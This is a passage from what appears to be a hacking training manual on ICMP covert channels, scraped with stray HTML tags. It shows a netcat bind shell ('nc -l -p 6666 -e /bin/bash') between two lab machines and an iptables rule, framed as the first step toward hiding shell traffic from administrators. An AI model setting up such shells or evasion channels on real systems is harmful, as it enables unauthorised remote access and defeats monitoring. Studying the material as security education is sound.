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Hack Security Pro.pdf - Index of

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Situation scenario: Using icmp<br />

Let us consider machine A (ip : 192.168.0.2) and machine B (ip : 192.168.0.66). Let us start with a<br />

situation where we do not use any covert channel and let's see what Ethereal has to say about that.<br />

Machine B<br />

bash$ nc -l -p 6666 -e /bin/bash<br />

Machine A<br />

bash$ nc 192.168.0.66 6666<br />

cat /etc/issue<br />

Debian GNU/Linux 3.1 \n \l<br />

We can clearly identify a tcp session corresponding to a shell. The information passes clearly on the<br />

network. Our communication will be directly identified by an administrator with a minimum <strong>of</strong><br />

pr<strong>of</strong>essional conscience.<br />

Let's now make a small change. On machine B, we will do this:<br />

Machine B<br />

bash# iptables -A INPUT –proto tcp –source ! localhost -j DROP<br />

The machine will thus not be able to receive tcp data from a non-local source.<br />

The <strong>Hack</strong>ademy DMP -78/209- SYSDREAM

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